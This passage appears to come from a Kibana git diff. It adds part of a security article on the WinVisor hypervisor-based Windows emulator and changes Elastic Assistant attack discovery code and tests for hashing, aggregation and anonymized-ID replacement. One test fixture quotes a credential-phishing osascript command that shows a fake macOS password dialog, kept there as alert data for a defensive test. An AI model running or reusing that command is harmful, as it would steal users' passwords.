`0xFFFF800000000000` in this case. When a `SYSCALL` instruction is executed, a page fault will be raised when RIP is set to this address, and the call can be intercepted. This placeholder is a kernel address in Windows and won't cause any conflicts with the user-mode address space. + +Unlike legacy syscalls, the `SYSCALL` instruction doesn't swap the `RSP` value during the transition to CPL0, so the user-mode stack pointer can be retrieved directly from `RSP`. + +### Legacy syscalls (INT 2E) + +Legacy interrupt-based syscalls are slower and have more overhead than the `SYSCALL` instruction, but despite this, they are still supported by Windows. As the emulator already contains a framework for handling interrupts, adding support for legacy syscalls is very simple. When a legacy syscall interrupt is caught, it can be forwarded to the “common” syscall handler after some minor translations — specifically, retrieving the stored user-mode `RSP` value from the CPL0 stack. + +### Syscall forwarding + +After the emulator creates the "main thread" whose context gets cloned into the virtual CPU, this native thread is reused as a proxy to forward syscalls to the host. Reusing the same thread maintains consistency for the TEB and any kernel state between the guest and the host. Win32k, in particular, relies on many thread-specific states, which should be reflected in the emulator. + +When a syscall occurs, either by a `SYSCALL` instruction or a legacy interrupt, the emulator intercepts it and transfers it to a universal handler function. The syscall number is stored in the `RAX` register, and the first four parameter values are stored in `R10`, `RDX`, `R8`, and `R9`, respectively. `R10` is used for the first parameter instead of the usual `RCX` register because the `SYSCALL` instruction overwrites `RCX` with the return address. The legacy syscall handler in Windows (`KiSystemService`) also uses `R10` for compatibility, so it doesn’t need to be handled differently in the emulator. The remaining parameters are retrieved from the stack. + +We don’t know the exact number of parameters expected for any given syscall number, but luckily, this doesn’t matter. We can simply use a fixed amount, and as long as the number of supplied parameters is greater than or equal to the actual number, the syscall will function correctly. A simple assembly stub will be dynamically created, populating all of the parameters, executing the target syscall, and returning cleanly. + +Testing showed that the maximum number of parameters currently used by Windows syscalls is `17` (`NtAccessCheckByTypeResultListAndAuditAlarmByHandle`, `NtCreateTokenEx`, and `NtUserCreateWindowEx`). WinVisor uses `32` as the maximum number of parameters to allow for potential future expansion. + +After executing the syscall on the host, the return value is copied to `RAX` in the guest. `RIP` is then transferred to a `SYSRET` instruction (or `IRETQ` for legacy syscalls) before resuming the virtual CPU for a seamless transition back to user-mode. + +### Syscall logging + +By default, the emulator simply forwards guest syscalls to the host and logs them to the console. However, some additional steps are necessary to convert the raw syscalls into a readable format. + +The first step is to convert the syscall number to a name. Syscall numbers are made up of multiple parts: bits `12` - `13` contain the system service table index (`0` for `ntoskrnl`, `1` for `win32k`), and bits `0` - `11` contain the syscall index within the table. This information allows us to perform a reverse-lookup within the corresponding user-mode module (`ntdll` / `win32u`) to resolve the original syscall name. + +The next step is to determine the number of parameter values to display for each syscall. As mentioned above, the emulator passes `32` parameter values to each syscall, even if most of them are not used. However, logging all `32` values for each syscall wouldn't be ideal for readability reasons. For example, a simple `NtClose(0x100)` call would be printed as `NtClose(0x100, xxx, xxx, xxx, xxx, xxx, xxx, xxx, xxx, ...)`. As mentioned earlier, there is no simple way to automatically determine the exact number of parameters for each syscall, but there is a trick that we can use to estimate it with high accuracy. + +This trick relies on the 32-bit system libraries used by WoW64. These libraries use the stdcall calling convention, which means the caller pushes all parameters onto the stack, and they are cleaned internally by the callee before returning. In contrast, native x64 code places the first 4 parameters into registers, and the caller is responsible for managing the stack. + +For example, the `NtClose` function in the WoW64 version of `ntdll.dll` ends with the `RET 4` instruction. This pops an additional 4-bytes off the stack after the return address, which implies that the function takes one parameter. If the function used `RET 8`, this would suggest that it takes 2 parameters, and so on. + +Even though the emulator runs as a 64-bit process, we can still load the 32-bit copies of `ntdll.dll` and `win32u.dll` into memory - either manually or mapped using `SEC_IMAGE`. A custom version of `GetProcAddress` must be written to resolve the WoW64 export addresses, but this is a trivial task. From here, we can automatically find the corresponding WoW64 export for each syscall, scan for the `RET` instruction to calculate the number of parameters, and store the value in a lookup table. + +This method is not perfect, and there are a number of ways that this could fail: + +* A small number of native syscalls don't exist in WoW64, such as `NtUserSetWindowLongPtr`. +* If a 32-bit function contains a 64-bit parameter, it will be split into 2x 32-bit parameters internally, whereas the corresponding 64-bit function would only require a single parameter for the same value. +* The WoW64 syscall stub functions within Windows could change in such a way that causes the existing `RET` instruction search to fail. + +Despite these pitfalls, the results will be accurate for the vast majority of syscalls without having to rely on hardcoded values. In addition, these values are only used for logging purposes and won't affect anything else, so minor inaccuracies are acceptable in this context. If a failure is detected, it will revert back to displaying the maximum number of parameter values. + +### Syscall hooking + +If this project were being used for sandboxing purposes, blindly forwarding all syscalls to the host would be undesirable for obvious reasons. The emulator contains a framework that allows specific syscalls to be easily hooked if necessary. + +By default, only `NtTerminateThread` and `NtTerminateProcess` are hooked to catch the guest process exiting. + +## Interrupt handling + +Interrupts are defined by the IDT, which is populated before the virtual CPU execution begins. When an interrupt occurs, the current CPU state is pushed onto the CPL0 stack (`SS`, `RSP`, `RFLAGS`, `CS`, `RIP`), and `RIP` is set to the target handler function. + +As with `MSR_LSTAR` for the SYSCALL handler, the emulator populates all interrupt handler addresses with placeholder values (`0xFFFFA00000000000` - `0xFFFFA000000000FF`). When an interrupt occurs, a page fault will occur within this range, which we can catch. The interrupt index can be extracted from the lowest 8-bits of the target address (e.g., `0xFFFFA00000000003` is `INT 3`), and the host can handle it as necessary. + +At present, the emulator only handles `INT 1` (single-step), `INT 3` (breakpoint), and `INT 2E` (legacy syscall). If any other interrupt is caught, the emulator will exit with an error. + +When an interrupt has been handled, `RIP` is transferred to an `IRETQ` instruction, which returns to user-mode cleanly. Some types of interrupts push an additional "error code" value onto the stack - if this is the case, it must be popped prior to the `IRETQ` instruction to avoid stack corruption. The interrupt handler framework within this emulator contains an optional flag to handle this transparently. + +## Hypervisor shared page bug + +Windows 10 introduced a new type of shared page which is located close to `KUSER_SHARED_DATA`. This page is used by timing-related functions such as `RtlQueryPerformanceCounter` and `RtlGetMultiTimePrecise`. + +The exact address of this page can be retrieved with `NtQuerySystemInformation`, using the `SystemHypervisorSharedPageInformation` information class. The `LdrpInitializeProcess` function stores the address of this page in a global variable (`RtlpHypervisorSharedUserVa`) during process startup. + +The WHP API seems to contain a bug that causes the `WHvRunVirtualProcessor` function to get stuck in an infinite loop if this shared page is mapped into the guest and the virtual CPU attempts to read from it. + +Time constraints limited the ability to fully investigate this; however, a simple workaround was implemented. The emulator patches the `NtQuerySystemInformation` function within the target process and forces it to return `STATUS_INVALID_INFO_CLASS` for `SystemHypervisorSharedPageInformation` requests. This causes the `ntdll` code to fall back to traditional methods. + +## Demos + +Some examples of common Windows executables being emulated under this virtualized environment below: + +![ping.exe being emulated by WinVisor](/assets/images/winvisor-hypervisor-based-emulator/Slj_Image_3.png "ping.exe being emulated by WinVisor") + +![cmd.exe being emulated by WinVisor](/assets/images/winvisor-hypervisor-based-emulator/gs2_Image_4.png "cmd.exe being emulated by WinVisor") + +![notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes](/assets/images/winvisor-hypervisor-based-emulator/zkL_Image_5.png "notepad.exe being emulated by WinVisor, including a hooked syscall (NtUserCreateWindowEx) for demonstration purposes") + +## Limitations + +The emulator has several limitations that make it unsafe to use as a secure sandbox in its current form. + +### Safety issues + +There are several ways to "escape" the VM, such as simply creating a new process/thread, scheduling asynchronous procedure calls (APCs), etc. + +Windows GUI-related syscalls can also make nested calls directly back into user-mode from the kernel, which would currently bypass the hypervisor layer. For this reason, GUI executables such as notepad.exe are only partially virtualized when run under WinVisor. + +To demonstrate this, WinVisor includes an `-nx` command-line switch to the emulator. This forces the entire target EXE image to be marked as non-executable in memory prior to starting the virtual CPU, causing the process to crash if the host process attempts to execute any of the code natively. However, this is still unsafe to rely on — the target application could make the region executable again or simply allocate executable memory elsewhere. + +As the WinVisor DLL is injected into the target process, it exists within the same virtual address space as the target executable. This means the code running under the virtual CPU is able to directly access the memory within the host hypervisor module, which could potentially corrupt it. + +### Non-executable guest memory + +While the virtual CPU is set up to support NX, all memory regions are currently mirrored into the guest with full RWX access. + +### Single-thread only + +The emulator currently only supports virtualizing a single thread. If the target executable creates additional threads, they will be executed natively. To support multiple threads, a pseudo-scheduler could be developed to handle this in the future. + +The Windows parallel loader is disabled to ensure all module dependencies are loaded by a single thread. + +### Software exceptions + +Virtualized software exceptions are not currently supported. If an exception occurs, the system will call the `KiUserExceptionDispatcher` function natively as usual. + +## Conclusion + +As seen above, the emulator performs well with a wide range of executables in its current form. While it is currently effective for logging syscalls and interrupts, a lot of further work would be required to make it safe to use for malware analysis purposes. Despite this, the project provides an effective framework for future development. + +## Project links + +[https://github.com/x86matthew/WinVisor](https://github.com/x86matthew/WinVisor) + +The author can be found on X at [@x86matthew](https://x.com/x86matthew). diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.test.ts index 4ae67ab6bfbb8..dff46266979cf 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.test.ts @@ -32,6 +32,7 @@ describe('deduplicateAttackDiscoveries', () => { indexPattern: '.test.alerts-*,.adhoc.alerts-*', logger: mockLogger, ownerId: 'test-owner-1', + replacements: undefined, spaceId: 'test-space', }; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.ts index 9ce845f211573..79e5d4c35b73f 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/deduplication/index.ts @@ -7,7 +7,7 @@ import { ElasticsearchClient, Logger } from '@kbn/core/server'; import { ALERT_INSTANCE_ID } from '@kbn/rule-data-utils'; -import { AttackDiscoveries } from '@kbn/elastic-assistant-common'; +import { AttackDiscoveries, Replacements } from '@kbn/elastic-assistant-common'; import { AttackDiscoveryAlertDocument } from '../../schedules/types'; import { generateAttackDiscoveryAlertHash } from '../transforms/transform_to_alert_documents'; @@ -19,6 +19,7 @@ interface DeduplicateAttackDiscoveriesParams { indexPattern: string; logger: Logger; ownerId: string; + replacements: Replacements | undefined; spaceId: string; } @@ -29,6 +30,7 @@ export const deduplicateAttackDiscoveries = async ({ indexPattern, logger, ownerId, + replacements, spaceId, }: DeduplicateAttackDiscoveriesParams): Promise => { if (!attackDiscoveries || attackDiscoveries.length === 0) { @@ -41,6 +43,7 @@ export const deduplicateAttackDiscoveries = async ({ attackDiscovery: attack, connectorId, ownerId, + replacements, spaceId, }); return { attack, alertHash }; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.test.ts index 926c7e47744a5..41a41c6f100c1 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.test.ts @@ -8,16 +8,6 @@ import { getFindAttackDiscoveryAlertsAggregation } from '.'; describe('getFindAttackDiscoveryAlertsAggregation', () => { - it('returns the expected alert_ids terms aggregation', () => { - const result = getFindAttackDiscoveryAlertsAggregation(); - expect(result.alert_ids).toEqual({ - terms: { - field: 'kibana.alert.attack_discovery.alert_ids', - size: 1000, - }, - }); - }); - it('returns the expected api_config_name terms aggregation', () => { const result = getFindAttackDiscoveryAlertsAggregation(); expect(result.api_config_name).toEqual({ @@ -28,11 +18,11 @@ describe('getFindAttackDiscoveryAlertsAggregation', () => { }); }); - it('returns the expected unique_alert_ids_count sum_bucket aggregation the with correct buckets_path', () => { + it('returns the expected unique_alert_ids_count cardinality aggregation', () => { const result = getFindAttackDiscoveryAlertsAggregation(); expect(result.unique_alert_ids_count).toEqual({ - sum_bucket: { - buckets_path: 'alert_ids>_count', + cardinality: { + field: 'kibana.alert.attack_discovery.alert_ids', }, }); }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.ts index 397c9ae92cd2f..81dd37cca5939 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/get_find_attack_discovery_alerts_aggregation/index.ts @@ -7,10 +7,7 @@ import type { estypes } from '@elastic/elasticsearch'; -import { - ALERT_ATTACK_DISCOVERY_ALERT_IDS, - ALERT_ATTACK_DISCOVERY_API_CONFIG_NAME, -} from '../../schedules/fields'; +import { ALERT_ATTACK_DISCOVERY_API_CONFIG_NAME } from '../../schedules/fields'; /** * Counts the unique alert IDs in attack discovery alerts @@ -19,12 +16,6 @@ export const getFindAttackDiscoveryAlertsAggregation = (): Record< string, estypes.AggregationsAggregationContainer > => ({ - alert_ids: { - terms: { - field: ALERT_ATTACK_DISCOVERY_ALERT_IDS, // kibana.alert.attack_discovery.alert_ids - size: 1000, // up to 1000 unique alert IDs - }, - }, api_config_name: { terms: { field: ALERT_ATTACK_DISCOVERY_API_CONFIG_NAME, // kibana.alert.attack_discovery.api_config.name @@ -32,8 +23,8 @@ export const getFindAttackDiscoveryAlertsAggregation = (): Record< }, }, unique_alert_ids_count: { - sum_bucket: { - buckets_path: 'alert_ids>_count', + cardinality: { + field: 'kibana.alert.attack_discovery.alert_ids', }, }, }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/index.ts index 6374e82124adb..db2b196e8e358 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/index.ts @@ -5,6 +5,7 @@ * 2.0. */ +import type { estypes } from '@elastic/elasticsearch'; import { type AttackDiscoveryAlert, type AttackDiscoveryCreateProps, @@ -17,13 +18,14 @@ import { type PostAttackDiscoveryGenerationsDismissResponse, } from '@kbn/elastic-assistant-common'; import { AuthenticatedUser } from '@kbn/core-security-common'; -import type { Logger } from '@kbn/core/server'; +import type { ElasticsearchClient, Logger } from '@kbn/core/server'; import { IRuleDataClient } from '@kbn/rule-registry-plugin/server'; import { AIAssistantDataClient, AIAssistantDataClientParams, } from '../../../ai_assistant_data_clients'; +import { findDocuments } from '../../../ai_assistant_data_clients/find'; import { findAllAttackDiscoveries } from './find_all_attack_discoveries/find_all_attack_discoveries'; import { combineFindAttackDiscoveryFilters } from './combine_find_attack_discovery_filters'; import { findAttackDiscoveryByConnectorId } from './find_attack_discovery_by_connector_id/find_attack_discovery_by_connector_id'; @@ -145,6 +147,7 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { alertIds, authenticatedUser, end, + esClient, ids, index, logger, @@ -157,6 +160,7 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { alertIds: string[] | undefined; authenticatedUser: AuthenticatedUser; end: string | undefined; + esClient: ElasticsearchClient; ids: string[] | undefined; index: string; logger: Logger; @@ -182,14 +186,16 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { filter: connectorsAggsFilter, }); - const aggsResult = await this.findDocuments({ + const aggsResult = await findDocuments({ aggs, + esClient, filter: combinedConnectorsAggsFilter, index, + logger, page, perPage, sortField, - sortOrder, + sortOrder: sortOrder as estypes.SortOrder, }); const { connectorNames } = transformSearchResponseToAlerts({ @@ -202,10 +208,12 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { public findAttackDiscoveryAlerts = async ({ authenticatedUser, + esClient, findAttackDiscoveryAlertsParams, logger, }: { authenticatedUser: AuthenticatedUser; + esClient: ElasticsearchClient; findAttackDiscoveryAlertsParams: FindAttackDiscoveryAlertsParams; logger: Logger; }): Promise => { @@ -243,14 +251,16 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { shared, }); - const result = await this.findDocuments({ + const result = await findDocuments({ aggs, + esClient, filter: combinedFilter, index, + logger, page, perPage, sortField, - sortOrder, + sortOrder: sortOrder as estypes.SortOrder, }); const { data, uniqueAlertIdsCount } = transformSearchResponseToAlerts({ @@ -262,6 +272,7 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { alertIds, authenticatedUser, end, + esClient, ids, index, logger, @@ -334,12 +345,14 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { public bulkUpdateAttackDiscoveryAlerts = async ({ authenticatedUser, + esClient, ids, kibanaAlertWorkflowStatus, logger, visibility, }: { authenticatedUser: AuthenticatedUser; + esClient: ElasticsearchClient; ids: string[]; kibanaAlertWorkflowStatus?: 'acknowledged' | 'closed' | 'open'; logger: Logger; @@ -347,8 +360,6 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { }): Promise => { const PER_PAGE = 1000; - const esClient = await this.options.elasticsearchClientPromise; - const indexPattern = this.getScheduledAndAdHocIndexPattern(); if (ids.length === 0) { @@ -403,6 +414,7 @@ export class AttackDiscoveryDataClient extends AIAssistantDataClient { const alertsResult = await this.findAttackDiscoveryAlerts({ authenticatedUser, + esClient, findAttackDiscoveryAlertsParams: { ids, page: FIRST_PAGE, diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_search_response_to_alerts/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_search_response_to_alerts/index.ts index 87add65a375da..9d57b0517629a 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_search_response_to_alerts/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_search_response_to_alerts/index.ts @@ -7,7 +7,7 @@ import type { estypes } from '@elastic/elasticsearch'; import type { Logger } from '@kbn/core/server'; -import { AttackDiscoveryAlert } from '@kbn/elastic-assistant-common'; +import { AttackDiscoveryAlert, transformInternalReplacements } from '@kbn/elastic-assistant-common'; import { ALERT_RULE_EXECUTION_UUID, ALERT_RULE_UUID, @@ -48,7 +48,7 @@ interface ConnectorNamesAggregation { }>; } -const sumBucketAggregationHasValue = (aggregation: unknown): aggregation is HasNumericValue => +const aggregationHasValue = (aggregation: unknown): aggregation is HasNumericValue => typeof aggregation === 'object' && aggregation !== null && 'value' in aggregation && @@ -105,10 +105,7 @@ export const transformSearchResponseToAlerts = ({ ? source[ALERT_ATTACK_DISCOVERY_MITRE_ATTACK_TACTICS] : undefined, replacements: Array.isArray(source[ALERT_ATTACK_DISCOVERY_REPLACEMENTS]) - ? source[ALERT_ATTACK_DISCOVERY_REPLACEMENTS]?.reduce>( - (acc, r) => (r.uuid != null && r.value != null ? { ...acc, [r.uuid]: r.value } : acc), - {} - ) + ? transformInternalReplacements(source[ALERT_ATTACK_DISCOVERY_REPLACEMENTS]) : undefined, riskScore: source[ALERT_RISK_SCORE], summaryMarkdown: source[ALERT_ATTACK_DISCOVERY_SUMMARY_MARKDOWN] ?? '', // required field @@ -126,7 +123,7 @@ export const transformSearchResponseToAlerts = ({ const uniqueAlertIdsCountAggregation = response.aggregations?.unique_alert_ids_count; - const uniqueAlertIdsCount = sumBucketAggregationHasValue(uniqueAlertIdsCountAggregation) + const uniqueAlertIdsCount = aggregationHasValue(uniqueAlertIdsCountAggregation) ? uniqueAlertIdsCountAggregation.value : 0; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.test.ts index 77d4786b2ddbc..1bb7ff756e063 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.test.ts @@ -391,6 +391,7 @@ describe('Transform attack discoveries to alert documents', () => { spaceId: 'test-space-2', connectorId: 'test-connector-2', ownerId: 'test-user-2', + replacements: undefined, }; it('generates a deterministic UUID for the same attack discovery and space', () => { @@ -444,5 +445,42 @@ describe('Transform attack discoveries to alert documents', () => { }); expect(uuidA).toBe(uuidB); }); + + it('generates different UUIDs for the attack discovery with anonymized `id` field and without', () => { + const attackDiscovery = { ...mockAttackDiscoveries[0], alertIds: ['a', 'b', 'c'] }; + const replacements = { a: 'alert1', b: 'alert2', c: 'alert3' }; + const uuidA = generateAttackDiscoveryAlertHash({ + ...defaultProps, + attackDiscovery, + replacements, + }); + const uuidB = generateAttackDiscoveryAlertHash({ + ...defaultProps, + attackDiscovery, + }); + expect(uuidA).not.toBe(uuidB); + expect(uuidA).toBe('d9e5eb4aa18d47aa031701c6140781ba476956274ddd5a9d52cf9018891bcf47'); + expect(uuidB).toBe('45aeded7d9ab955aab433eb82743d7d45c5d0b408ba2ccc4dd3d458a2b7d30ab'); + }); + + it('generates a deterministic UUID for the same de-anonymized `id` values', () => { + const attackDiscoveryA = { ...mockAttackDiscoveries[0], alertIds: ['a', 'b', 'c'] }; + const replacementsA = { a: 'alert1', b: 'alert2', c: 'alert3' }; + + const attackDiscoveryB = { ...mockAttackDiscoveries[0], alertIds: ['d', 'e', 'f'] }; + const replacementsB = { d: 'alert1', e: 'alert2', f: 'alert3' }; + + const uuidA = generateAttackDiscoveryAlertHash({ + ...defaultProps, + attackDiscovery: attackDiscoveryA, + replacements: replacementsA, + }); + const uuidB = generateAttackDiscoveryAlertHash({ + ...defaultProps, + attackDiscovery: attackDiscoveryB, + replacements: replacementsB, + }); + expect(uuidA).toBe(uuidB); + }); }); }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.ts index afa88eeee1db9..c962a860a4b9b 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/persistence/transforms/transform_to_alert_documents/index.ts @@ -15,6 +15,8 @@ import { type CreateAttackDiscoveryAlertsParams, replaceAnonymizedValuesWithOriginalValues, AttackDiscovery, + getOriginalAlertIds, + Replacements, } from '@kbn/elastic-assistant-common'; import { ALERT_INSTANCE_ID, @@ -69,11 +71,13 @@ export const generateAttackDiscoveryAlertHash = ({ attackDiscovery, connectorId, ownerId, + replacements, spaceId, }: { attackDiscovery: AttackDiscovery; connectorId: string; ownerId: string; + replacements: Replacements | undefined; spaceId: string; }) => { /** @@ -85,8 +89,10 @@ export const generateAttackDiscoveryAlertHash = ({ * We store ad hoc attacks for all users within the same index and that is why we need this separation. * - `spaceId` - to separate attacks on a space basis */ + const alertIds = attackDiscovery.alertIds; + const originalAlertIds = getOriginalAlertIds({ alertIds, replacements }); return createHash('sha256') - .update([...attackDiscovery.alertIds].sort().join()) + .update([...originalAlertIds].sort().join()) .update(connectorId) .update(ownerId) .update(spaceId) @@ -196,6 +202,7 @@ export const transformToAlertDocuments = ({ attackDiscovery, connectorId: restParams.apiConfig.connectorId, ownerId: authenticatedUser.username ?? authenticatedUser.profile_uid, + replacements: restParams.replacements, spaceId, }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.test.ts index 534a10cbc9249..248b1878847c0 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.test.ts @@ -115,6 +115,11 @@ describe('attackDiscoveryScheduleExecutor', () => { spaceId, state: {}, }; + const mockReplacements = { + ...mockAnonymizedAlertsReplacements, + 'e1cb3cf0-30f3-4f99-a9c8-518b955c6f90': 'Test-Host-1', + '039c15c5-3964-43e7-a891-42fe2ceeb9ff': 'Test-User-1', + }; beforeAll(() => { jest.useFakeTimers(); @@ -133,11 +138,7 @@ describe('attackDiscoveryScheduleExecutor', () => { (generateAttackDiscoveries as jest.Mock).mockResolvedValue({ anonymizedAlerts: mockAnonymizedAlerts, attackDiscoveries: mockAttackDiscoveries, - replacements: { - ...mockAnonymizedAlertsReplacements, - 'e1cb3cf0-30f3-4f99-a9c8-518b955c6f90': 'Test-Host-1', - '039c15c5-3964-43e7-a891-42fe2ceeb9ff': 'Test-User-1', - }, + replacements: mockReplacements, }); (deduplicateAttackDiscoveries as jest.Mock).mockResolvedValue(mockAttackDiscoveries); @@ -352,7 +353,7 @@ describe('attackDiscoveryScheduleExecutor', () => { attack: { alertIds, detailsMarkdown: - '- On `2023-06-19T00:28:38.061Z` a critical malware detection alert was triggered on host `Test-Host-1` running `macOS` version `13.4`.\n- The malware was identified as `unix1` with SHA256 hash `0b18d6880dc9670ab2b955914598c96fc3d0097dc40ea61157b8c79e75edf231`.\n- The process {{ process.name My Go Application.app }} was executed with command line {{ process.command_line /private/var/folders/_b/rmcpc65j6nv11ygrs50ctcjr0000gn/T/AppTranslocation/6D63F08A-011C-4511-8556-EAEF9AFD6340/d/Setup.app/Contents/MacOS/My Go Application.app }}.\n- The process was not trusted as its code signature failed to satisfy specified code requirements.\n- The user involved was `Test-User-1`.\n- Another critical alert was triggered for potential credentials phishing via `osascript` on the same host.\n- The phishing attempt involved displaying a dialog to capture the user\'s password.\n- The process `osascript` was executed with command line {{ process.command_line osascript -e display dialog "MacOS wants to access System Preferences\\n\\nPlease enter your password." with title "System Preferences" with icon file "System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns" default answer "" giving up after 30 with hidden answer ¬ }}.\n- The MITRE ATT&CK tactics involved include Credential Access and Input Capture.', + '- On `2023-06-19T00:28:38.061Z` a critical malware detection alert was triggered on host `Test-Host-1` running `macOS` version `13.4`.\n- The malware was identified as `unix1` with SHA256 hash `0b18d6880dc9670ab2b955914598c96fc3d0097dc40ea61157b8c79e75edf231`.\n- The process `My Go Application.app` was executed with command line `/private/var/folders/_b/rmcpc65j6nv11ygrs50ctcjr0000gn/T/AppTranslocation/6D63F08A-011C-4511-8556-EAEF9AFD6340/d/Setup.app/Contents/MacOS/My Go Application.app`.\n- The process was not trusted as its code signature failed to satisfy specified code requirements.\n- The user involved was `Test-User-1`.\n- Another critical alert was triggered for potential credentials phishing via `osascript` on the same host.\n- The phishing attempt involved displaying a dialog to capture the user\'s password.\n- The process `osascript` was executed with command line `osascript -e display dialog "MacOS wants to access System Preferences\\n\\nPlease enter your password." with title "System Preferences" with icon file "System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:ToolbarAdvanced.icns" default answer "" giving up after 30 with hidden answer ¬`.\n- The MITRE ATT&CK tactics involved include Credential Access and Input Capture.', entitySummaryMarkdown: 'Critical malware and phishing alerts detected on `Test-Host-1` involving user `Test-User-1`.', mitreAttackTactics, @@ -419,6 +420,7 @@ describe('attackDiscoveryScheduleExecutor', () => { indexPattern: '.alerts-security.attack.discovery.alerts-test-space', logger: mockLogger, ownerId: executorOptions.rule.id, + replacements: mockReplacements, spaceId, }); }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.ts index e73f3a168b451..a1ef473c7297c 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/attack_discovery/schedules/register_schedule/executor.ts @@ -128,6 +128,7 @@ export const attackDiscoveryScheduleExecutor = async ({ indexPattern, logger, ownerId: rule.id, + replacements, spaceId, }); @@ -137,6 +138,7 @@ export const attackDiscoveryScheduleExecutor = async ({ attackDiscovery, connectorId: params.apiConfig.connectorId, ownerId: rule.id, + replacements, spaceId, }); const { uuid: alertDocId } = alertsClient.report({ diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/content_loaders/security_labs_loader.test.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/content_loaders/security_labs_loader.test.ts index 396f26c956107..fae43b77dc15e 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/content_loaders/security_labs_loader.test.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/content_loaders/security_labs_loader.test.ts @@ -43,6 +43,6 @@ describe('security_labs_loader', () => { it('getSecurityLabsDocsCount returns correct count', async () => { const result = await getSecurityLabsDocsCount({ logger: loggerMock.create() }); - expect(result).toBe(167); // Update this when new Security Labs articles are added + expect(result).toBe(190); // Update this when new Security Labs articles are added }); }); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/graph.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/lib/langchain/graphs/default_assistant_graph/graph.ts index 5162720904aa8..e76b87ddf5f05 